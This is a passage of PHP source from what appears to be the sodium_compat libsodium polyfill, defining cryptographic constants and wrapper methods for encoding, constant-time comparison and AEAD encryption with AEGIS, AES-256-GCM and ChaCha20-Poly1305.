    const LIBRARY_MAJOR_VERSION = 9;
    const LIBRARY_MINOR_VERSION = 1;
    const LIBRARY_VERSION_MAJOR = 9;
    const LIBRARY_VERSION_MINOR = 1;
    const VERSION_STRING = 'polyfill-1.0.8';

    // From libsodium
    const BASE64_VARIANT_ORIGINAL = 1;
    const BASE64_VARIANT_ORIGINAL_NO_PADDING = 3;
    const BASE64_VARIANT_URLSAFE = 5;
    const BASE64_VARIANT_URLSAFE_NO_PADDING = 7;
    const CRYPTO_AEAD_AES256GCM_KEYBYTES = 32;
    const CRYPTO_AEAD_AES256GCM_NSECBYTES = 0;
    const CRYPTO_AEAD_AES256GCM_NPUBBYTES = 12;
    const CRYPTO_AEAD_AES256GCM_ABYTES = 16;
    const CRYPTO_AEAD_AEGIS128L_KEYBYTES = 16;
    const CRYPTO_AEAD_AEGIS128L_NSECBYTES = 0;
    const CRYPTO_AEAD_AEGIS128L_NPUBBYTES = 16;
    const CRYPTO_AEAD_AEGIS128L_ABYTES = 32;
    const CRYPTO_AEAD_AEGIS256_KEYBYTES = 32;
    const CRYPTO_AEAD_AEGIS256_NSECBYTES = 0;
    const CRYPTO_AEAD_AEGIS256_NPUBBYTES = 32;
    const CRYPTO_AEAD_AEGIS256_ABYTES = 32;
    const CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES = 32;
    const CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES = 0;
    const CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES = 8;
    const CRYPTO_AEAD_CHACHA20POLY1305_ABYTES = 16;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES = 32;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES = 0;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES = 12;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES = 16;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES = 32;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES = 0;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES = 24;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES = 16;
    const CRYPTO_AUTH_BYTES = 32;
    const CRYPTO_AUTH_KEYBYTES = 32;
    const CRYPTO_BOX_SEALBYTES = 16;
    const CRYPTO_BOX_SECRETKEYBYTES = 32;
    const CRYPTO_BOX_PUBLICKEYBYTES = 32;
    const CRYPTO_BOX_KEYPAIRBYTES = 64;
    const CRYPTO_BOX_MACBYTES = 16;
    const CRYPTO_BOX_NONCEBYTES = 24;
    const CRYPTO_BOX_SEEDBYTES = 32;
    const CRYPTO_CORE_RISTRETTO255_BYTES = 32;
    const CRYPTO_CORE_RISTRETTO255_SCALARBYTES = 32;
    const CRYPTO_CORE_RISTRETTO255_HASHBYTES = 64;
    const CRYPTO_CORE_RISTRETTO255_NONREDUCEDSCALARBYTES = 64;
    const CRYPTO_KDF_BYTES_MIN = 16;
    const CRYPTO_KDF_BYTES_MAX = 64;
    const CRYPTO_KDF_CONTEXTBYTES = 8;
    const CRYPTO_KDF_KEYBYTES = 32;
    const CRYPTO_KX_BYTES = 32;
    const CRYPTO_KX_PRIMITIVE = 'x25519blake2b';
    const CRYPTO_KX_SEEDBYTES = 32;
    const CRYPTO_KX_KEYPAIRBYTES = 64;
    const CRYPTO_KX_PUBLICKEYBYTES = 32;
    const CRYPTO_KX_SECRETKEYBYTES = 32;
    const CRYPTO_KX_SESSIONKEYBYTES = 32;
    const CRYPTO_GENERICHASH_BYTES = 32;
    const CRYPTO_GENERICHASH_BYTES_MIN = 16;
    const CRYPTO_GENERICHASH_BYTES_MAX = 64;
    const CRYPTO_GENERICHASH_KEYBYTES = 32;
    const CRYPTO_GENERICHASH_KEYBYTES_MIN = 16;
    const CRYPTO_GENERICHASH_KEYBYTES_MAX = 64;
    const CRYPTO_PWHASH_SALTBYTES = 16;
    const CRYPTO_PWHASH_STRPREFIX = '$argon2id$';
    const CRYPTO_PWHASH_ALG_ARGON2I13 = 1;
    const CRYPTO_PWHASH_ALG_ARGON2ID13 = 2;
    const CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE = 33554432;
    const CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE = 4;
    const CRYPTO_PWHASH_MEMLIMIT_MODERATE = 134217728;
    const CRYPTO_PWHASH_OPSLIMIT_MODERATE = 6;
    const CRYPTO_PWHASH_MEMLIMIT_SENSITIVE = 536870912;
    const CRYPTO_PWHASH_OPSLIMIT_SENSITIVE = 8;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES = 32;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX = '$7$';
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE = 534288;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE = 16777216;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE = 33554432;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE = 1073741824;
    const CRYPTO_SCALARMULT_BYTES = 32;
    const CRYPTO_SCALARMULT_SCALARBYTES = 32;
    const CRYPTO_SCALARMULT_RISTRETTO255_BYTES = 32;
    const CRYPTO_SCALARMULT_RISTRETTO255_SCALARBYTES = 32;
    const CRYPTO_SHORTHASH_BYTES = 8;
    const CRYPTO_SHORTHASH_KEYBYTES = 16;
    const CRYPTO_SECRETBOX_KEYBYTES = 32;
    const CRYPTO_SECRETBOX_MACBYTES = 16;
    const CRYPTO_SECRETBOX_NONCEBYTES = 24;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES = 17;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES = 24;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES = 32;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH = 0;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PULL = 1;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY = 2;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL = 3;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX = 0x3fffffff80;
    const CRYPTO_SIGN_BYTES = 64;
    const CRYPTO_SIGN_SEEDBYTES = 32;
    const CRYPTO_SIGN_PUBLICKEYBYTES = 32;
    const CRYPTO_SIGN_SECRETKEYBYTES = 64;
    const CRYPTO_SIGN_KEYPAIRBYTES = 96;
    const CRYPTO_STREAM_KEYBYTES = 32;
    const CRYPTO_STREAM_NONCEBYTES = 24;
    const CRYPTO_STREAM_XCHACHA20_KEYBYTES = 32;
    const CRYPTO_STREAM_XCHACHA20_NONCEBYTES = 24;

    /**
     * Add two numbers (little-endian unsigned), storing the value in the first
     * parameter.
     *
     * This mutates $val.
     *
     * @param string $val
     * @param string $addv
     * @return void
     * @throws SodiumException
     */
    public static function add(
        #[\SensitiveParameter]
        &$val,
        #[\SensitiveParameter]
        $addv
    ) {
        $val_len = ParagonIE_Sodium_Core_Util::strlen($val);
        $addv_len = ParagonIE_Sodium_Core_Util::strlen($addv);
        if ($val_len !== $addv_len) {
            throw new SodiumException('values must have the same length');
        }
        $A = ParagonIE_Sodium_Core_Util::stringToIntArray($val);
        $B = ParagonIE_Sodium_Core_Util::stringToIntArray($addv);

        $c = 0;
        for ($i = 0; $i < $val_len; $i++) {
            $c += ($A[$i] + $B[$i]);
            $A[$i] = ($c & 0xff);
            $c >>= 8;
        }
        $val = ParagonIE_Sodium_Core_Util::intArrayToString($A);
    }

    /**
     * @param string $encoded
     * @param int $variant
     * @param string $ignore
     * @return string
     * @throws SodiumException
     */
    public static function base642bin(
        #[\SensitiveParameter]
        $encoded,
        $variant,
        $ignore = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($encoded, 'string', 1);

        /** @var string $encoded */
        $encoded = (string) $encoded;
        if (ParagonIE_Sodium_Core_Util::strlen($encoded) === 0) {
            return '';
        }

        // Just strip before decoding
        if (!empty($ignore)) {
            $encoded = str_replace($ignore, '', $encoded);
        }

        try {
            switch ($variant) {
                case self::BASE64_VARIANT_ORIGINAL:
                    return ParagonIE_Sodium_Core_Base64_Original::decode($encoded, true);
                case self::BASE64_VARIANT_ORIGINAL_NO_PADDING:
                    return ParagonIE_Sodium_Core_Base64_Original::decode($encoded, false);
                case self::BASE64_VARIANT_URLSAFE:
                    return ParagonIE_Sodium_Core_Base64_UrlSafe::decode($encoded, true);
                case self::BASE64_VARIANT_URLSAFE_NO_PADDING:
                    return ParagonIE_Sodium_Core_Base64_UrlSafe::decode($encoded, false);
                default:
                    throw new SodiumException('invalid base64 variant identifier');
            }
        } catch (Exception $ex) {
            if ($ex instanceof SodiumException) {
                throw $ex;
            }
            throw new SodiumException('invalid base64 string');
        }
    }

    /**
     * @param string $decoded
     * @param int $variant
     * @return string
     * @throws SodiumException
     */
    public static function bin2base64(
        #[\SensitiveParameter]
        $decoded,
        $variant
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($decoded, 'string', 1);
        /** @var string $decoded */
        $decoded = (string) $decoded;
        if (ParagonIE_Sodium_Core_Util::strlen($decoded) === 0) {
            return '';
        }

        switch ($variant) {
            case self::BASE64_VARIANT_ORIGINAL:
                return ParagonIE_Sodium_Core_Base64_Original::encode($decoded);
            case self::BASE64_VARIANT_ORIGINAL_NO_PADDING:
                return ParagonIE_Sodium_Core_Base64_Original::encodeUnpadded($decoded);
            case self::BASE64_VARIANT_URLSAFE:
                return ParagonIE_Sodium_Core_Base64_UrlSafe::encode($decoded);
            case self::BASE64_VARIANT_URLSAFE_NO_PADDING:
                return ParagonIE_Sodium_Core_Base64_UrlSafe::encodeUnpadded($decoded);
            default:
                throw new SodiumException('invalid base64 variant identifier');
        }
    }

    /**
     * Cache-timing-safe implementation of bin2hex().
     *
     * @param string $string A string (probably raw binary)
     * @return string        A hexadecimal-encoded string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function bin2hex(
        #[\SensitiveParameter]
        $string
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($string, 'string', 1);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_bin2hex($string);
        }
        if (self::use_fallback('bin2hex')) {
            return (string) call_user_func('\\Sodium\\bin2hex', $string);
        }
        return ParagonIE_Sodium_Core_Util::bin2hex($string);
    }

    /**
     * Compare two strings, in constant-time.
     * Compared to memcmp(), compare() is more useful for sorting.
     *
     * @param string $left  The left operand; must be a string
     * @param string $right The right operand; must be a string
     * @return int          If < 0 if the left operand is less than the right
     *                      If = 0 if both strings are equal
     *                      If > 0 if the right operand is less than the left
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function compare(
        #[\SensitiveParameter]
        $left,
        #[\SensitiveParameter]
        $right
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($left, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($right, 'string', 2);

        if (self::useNewSodiumAPI()) {
            return (int) sodium_compare($left, $right);
        }
        if (self::use_fallback('compare')) {
            return (int) call_user_func('\\Sodium\\compare', $left, $right);
        }
        return ParagonIE_Sodium_Core_Util::compare($left, $right);
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     AEGIS-128L
     *
     * @param string $ciphertext Encrypted message (with MAC appended)
     * @param string $assocData  Authenticated Associated Data (unencrypted)
     * @param string $nonce      Number to be used only Once; must be 32 bytes
     * @param string $key        Encryption key
     *
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_aegis128l_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = ''
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS128L_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_AEGIS_128L_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS128L_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_AEGIS128L_KEYBYTES long');
        }
        $ct_length = ParagonIE_Sodium_Core_Util::strlen($ciphertext);
        if ($ct_length < self::CRYPTO_AEAD_AEGIS128L_ABYTES) {
            throw new SodiumException('Message must be at least CRYPTO_AEAD_AEGIS128L_ABYTES long');
        }

        $ct = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            0,
            $ct_length - self::CRYPTO_AEAD_AEGIS128L_ABYTES
        );
        $tag = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            $ct_length - self::CRYPTO_AEAD_AEGIS128L_ABYTES,
            self::CRYPTO_AEAD_AEGIS128L_ABYTES
        );
        return ParagonIE_Sodium_Core_AEGIS128L::decrypt($ct, $tag, $assocData, $key, $nonce);
    }

    /**
     * Authenticated Encryption with Associated Data: Encryption
     *
     * Algorithm:
     *     AEGIS-128L
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce     Number to be used only Once; must be 32 bytes
     * @param string $key       Encryption key
     *
     * @return string           Ciphertext with 32-byte authentication tag appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_aegis128l_encrypt(
        #[\SensitiveParameter]
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = ''
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS128L_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_AEGIS128L_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS128L_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_AEGIS128L_KEYBYTES long');
        }

        list($ct, $tag) = ParagonIE_Sodium_Core_AEGIS128L::encrypt($plaintext, $assocData, $key, $nonce);
        return $ct . $tag;
    }

    /**
     * Return a secure random key for use with the AEGIS-128L
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_aegis128l_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_AEGIS128L_KEYBYTES);
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     AEGIS-256
     *
     * @param string $ciphertext Encrypted message (with MAC appended)
     * @param string $assocData  Authenticated Associated Data (unencrypted)
     * @param string $nonce      Number to be used only Once; must be 32 bytes
     * @param string $key        Encryption key
     *
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_aegis256_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = ''
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS256_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_AEGIS256_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS256_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_AEGIS256_KEYBYTES long');
        }
        $ct_length = ParagonIE_Sodium_Core_Util::strlen($ciphertext);
        if ($ct_length < self::CRYPTO_AEAD_AEGIS256_ABYTES) {
            throw new SodiumException('Message must be at least CRYPTO_AEAD_AEGIS256_ABYTES long');
        }

        $ct = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            0,
            $ct_length - self::CRYPTO_AEAD_AEGIS256_ABYTES
        );
        $tag = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            $ct_length - self::CRYPTO_AEAD_AEGIS256_ABYTES,
            self::CRYPTO_AEAD_AEGIS256_ABYTES
        );
        return ParagonIE_Sodium_Core_AEGIS256::decrypt($ct, $tag, $assocData, $key, $nonce);
    }

    /**
     * Authenticated Encryption with Associated Data: Encryption
     *
     * Algorithm:
     *     AEGIS-256
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce Number to be used only Once; must be 32 bytes
     * @param string $key Encryption key
     *
     * @return string           Ciphertext with 32-byte authentication tag appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_aegis256_encrypt(
        #[\SensitiveParameter]
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = ''
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS256_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_AEGIS128L_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS256_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_AEGIS128L_KEYBYTES long');
        }

        list($ct, $tag) = ParagonIE_Sodium_Core_AEGIS256::encrypt($plaintext, $assocData, $key, $nonce);
        return $ct . $tag;
    }

    /**
     * Return a secure random key for use with the AEGIS-256
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_aegis256_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_AEGIS256_KEYBYTES);
    }

    /**
     * Is AES-256-GCM even available to use?
     *
     * @return bool
     * @psalm-suppress UndefinedFunction
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_aes256gcm_is_available()
    {
        if (self::useNewSodiumAPI()) {
            return sodium_crypto_aead_aes256gcm_is_available();
        }
        if (self::use_fallback('crypto_aead_aes256gcm_is_available')) {
            return call_user_func('\\Sodium\\crypto_aead_aes256gcm_is_available');
        }
        if (PHP_VERSION_ID < 70100) {
            // OpenSSL doesn't support AEAD before 7.1.0
            return false;
        }
        if (!is_callable('openssl_encrypt') || !is_callable('openssl_decrypt')) {
            // OpenSSL isn't installed
            return false;
        }
        return (bool) in_array('aes-256-gcm', openssl_get_cipher_methods());
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     AES-256-GCM
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $ciphertext Encrypted message (with Poly1305 MAC appended)
     * @param string $assocData  Authenticated Associated Data (unencrypted)
     * @param string $nonce      Number to be used only Once; must be 8 bytes
     * @param string $key        Encryption key
     *
     * @return string|bool       The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_aes256gcm_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = ''
    ) {
        if (!self::crypto_aead_aes256gcm_is_available()) {
            throw new SodiumException('AES-256-GCM is not available');
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_AES256GCM_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AES256GCM_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_AES256GCM_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_AES256GCM_ABYTES) {
            throw new SodiumException('Message must be at least CRYPTO_AEAD_AES256GCM_ABYTES long');
        }
        if (!is_callable('openssl_decrypt')) {
            throw new SodiumException('The OpenSSL extension is not installed, or openssl_decrypt() is not available');
        }

        /** @var string $ctext */
        $ctext = ParagonIE_Sodium_Core_Util::substr($ciphertext, 0, -self::CRYPTO_AEAD_AES256GCM_ABYTES);
        /** @var string $authTag */
        $authTag = ParagonIE_Sodium_Core_Util::substr($ciphertext, -self::CRYPTO_AEAD_AES256GCM_ABYTES, 16);
        return openssl_decrypt(
            $ctext,
            'aes-256-gcm',
            $key,
            OPENSSL_RAW_DATA,
            $nonce,
            $authTag,
            $assocData
        );
    }

    /**
     * Authenticated Encryption with Associated Data: Encryption
     *
     * Algorithm:
     *     AES-256-GCM
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce     Number to be used only Once; must be 8 bytes
     * @param string $key       Encryption key
     *
     * @return string           Ciphertext with a 16-byte GCM message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_aes256gcm_encrypt(
        #[\SensitiveParameter]
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = ''
    ) {
        if (!self::crypto_aead_aes256gcm_is_available()) {
            throw new SodiumException('AES-256-GCM is not available');
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_AES256GCM_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AES256GCM_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_AES256GCM_KEYBYTES long');
        }

        if (!is_callable('openssl_encrypt')) {
            throw new SodiumException('The OpenSSL extension is not installed, or openssl_encrypt() is not available');
        }

        $authTag = '';
        $ciphertext = openssl_encrypt(
            $plaintext,
            'aes-256-gcm',
            $key,
            OPENSSL_RAW_DATA,
            $nonce,
            $authTag,
            $assocData
        );
        return $ciphertext . $authTag;
    }

    /**
     * Return a secure random key for use with the AES-256-GCM
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_aes256gcm_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_AES256GCM_KEYBYTES);
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $ciphertext Encrypted message (with Poly1305 MAC appended)
     * @param string $assocData  Authenticated Associated Data (unencrypted)
     * @param string $nonce      Number to be used only Once; must be 8 bytes
     * @param string $key        Encryption key
     *
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_chacha20poly1305_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) {
            throw new SodiumException('Message must be at least CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_aead_chacha20poly1305_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (self::use_fallback('crypto_aead_chacha20poly1305_decrypt')) {
            return call_user_func(
                '\\Sodium\\crypto_aead_chacha20poly1305_decrypt',
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_decrypt(
            $ciphertext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Authenticated Encryption with Associated Data
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce     Number to be used only Once; must be 8 bytes
     * @param string $key       Encryption key
     *
     * @return string           Ciphertext with a 16-byte Poly1305 message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_chacha20poly1305_encrypt(
        #[\SensitiveParameter]
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_aead_chacha20poly1305_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (self::use_fallback('crypto_aead_chacha20poly1305_encrypt')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_aead_chacha20poly1305_encrypt',
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_encrypt(
            $plaintext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
